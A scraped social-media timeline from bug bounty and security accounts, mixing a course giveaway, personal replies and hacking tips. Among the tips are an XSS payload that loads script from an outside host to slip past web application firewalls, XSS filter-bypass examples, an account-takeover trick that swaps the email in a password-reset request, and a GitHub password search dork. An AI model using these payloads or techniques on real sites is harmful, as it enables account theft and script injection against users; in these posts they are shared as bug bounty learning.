Criz

Security Researcher

[Criz @Criz0x]

@theXSSrat RAT

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

🎁 CYBERSECURITY GIVEAWAY 🎁

I’m giving away 1 COPY of the "Endless Bundle" (€799 Value). Access EVERYTHING I’ve ever built + every future update. Forever. 🐀🔥

The Prize:✅ 44+ Hacking Courses ✅ Private Discord + Mentorship ✅ Realistic Labs (No CTF toys) ✅ Sunday Live Workshops

To Enter:1️⃣ Follow @theXSSrat and @_Freakyclown_ 2️⃣ Retweet this post 🔄 3️⃣ Reply with "RAT" 🐀

Winner chosen in 72 hours. Good luck!

See what you’re winning:👇 https://t.co/eG19mekvMi

[Criz @Criz0x]

@NahamSec 🫶🏻

[Brute @BRuteLogic]

One #XSS Payload to Rule Them All

#Bypass Akamai, Imperva and CloudFlare #WAF

<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>

#hack2learn @KN0X55

[Criz @Criz0x]

@DeiFunded @moneybrinter @Zay_trades_fx @dimpledhanna @CableAnalyst @y3fqx @HelloSwagkong @R0UGETRADER @ZENITHTRADES @abison_binoy @ansanbinoy @crizmitnick @trader_panda1

Need this

[Criz @Criz0x]

@smstelegram Please Unban my telegram account since this number is Connected to all my friends and business partners so my telegram account is most Important for me. If i have made. any mistake then give me a chance to understand telegram terms and conditions.

[Criz @Criz0x]

@therealworld_hq $20000 for starting a online business

[Moblig @moblig_]

$15k+ Worth of IDORs in the past couple of months; it takes a lot of manual verification, but use this regex in BurpSuite in order to filter out potential parameters:

(?i)\b\w*id\b(?!\w)\s*=\s*("[^"]*"|'[^']*'|[^&\s}]*)

#bugbountytips #CyberSecurity

[Kanhaiya Sharma @krishnsec]

Crossed 1k Rep on a single program on @Bugcrowd
Bugs ::
9 P1s ( 8 -admin panel bypass , 1- aws keys in source code )
5 P2s ( blind xss , 2 account takeover - csrf+xss , 2 admin panel )
35 P3s - Ref XSS

[0xblackbird @0xblackbird]

Nice bypass!!

If your injection point is ever located in a context like below

You can always make use of the following characters to bypass your WAF:

+, -, %, /

Example: "/alert()/"//
Example 2: "%alert()%"//

#bugbountytips

[Pranav_Pranayx01 @rpranav2060]

Yay, I was awarded a $300 bounty on @Hacker0x01! https://t.co/1z2TxHybp1 #TogetherWeHitHarder
Unexpected blind xss which turn into the bounty ❤️🥱

[OccupytheWeb @three_cube]

Hack Wi-Fi with one command!

Wi-Fi (802.11) Hacking: Automating Wi-Fi Hacking Across Multiple AP's and Security Protocols with wifite #wifihacking #wifite #cyberwarrior

https://t.co/KOTnC4gUU3

[BegBountyHacker @BegHacker]

Yay, I was awarded a $20,500 bounty on
@Hacker0x01! #TogetherWeHitHarder

Another admin panel accessed in the bag 🙏🙏
Writeup will be shared soon 💸💸💸
#bugbountytips #BugBounty

[Binni Shah @binitamshah]

Practical-Ethical-Hacking-Resources : Compilation of Resources from TCM's Practical Ethical Hacking Udemy Course : https://t.co/gffV6QDCdm

[Nicolas Krassas @Dinosn]

HTTPUploadExfil: HTTP server for exfiltrating files/data https://t.co/TWydWrblIT

[Pawan Rawat 🇮🇳 @PawanRa20262178]

Another hit by github recon..$$$

Thanks @GodfatherOrwa for sharing tips and keywords.

Dork:- "https://t.co/cS7P78DU7v" password

Github is ❤️

@ADITYASHENDE17 @e11i0t_4lders0n @theXSSrat

#bugbounty #githubrecon #bugcrowd

[Vishnuuuuu @0xcvn1]

Account Takeover through Password Reset :

1. Capture the request of forgot password

[email protected]

and tamper mail id and change to [email protected]

Finally will get victim reset link to attacker mail

#bugbounty #wapt #cybersecurity

[XSS Payloads @XssPayloads]

XSS to RCE: Covert Target Websites into Payload Landing Pages, good introduction article by @knavesec
https://t.co/Qc97O1QBlp

[Criz @Criz0x]

@GodfatherOrwa 😂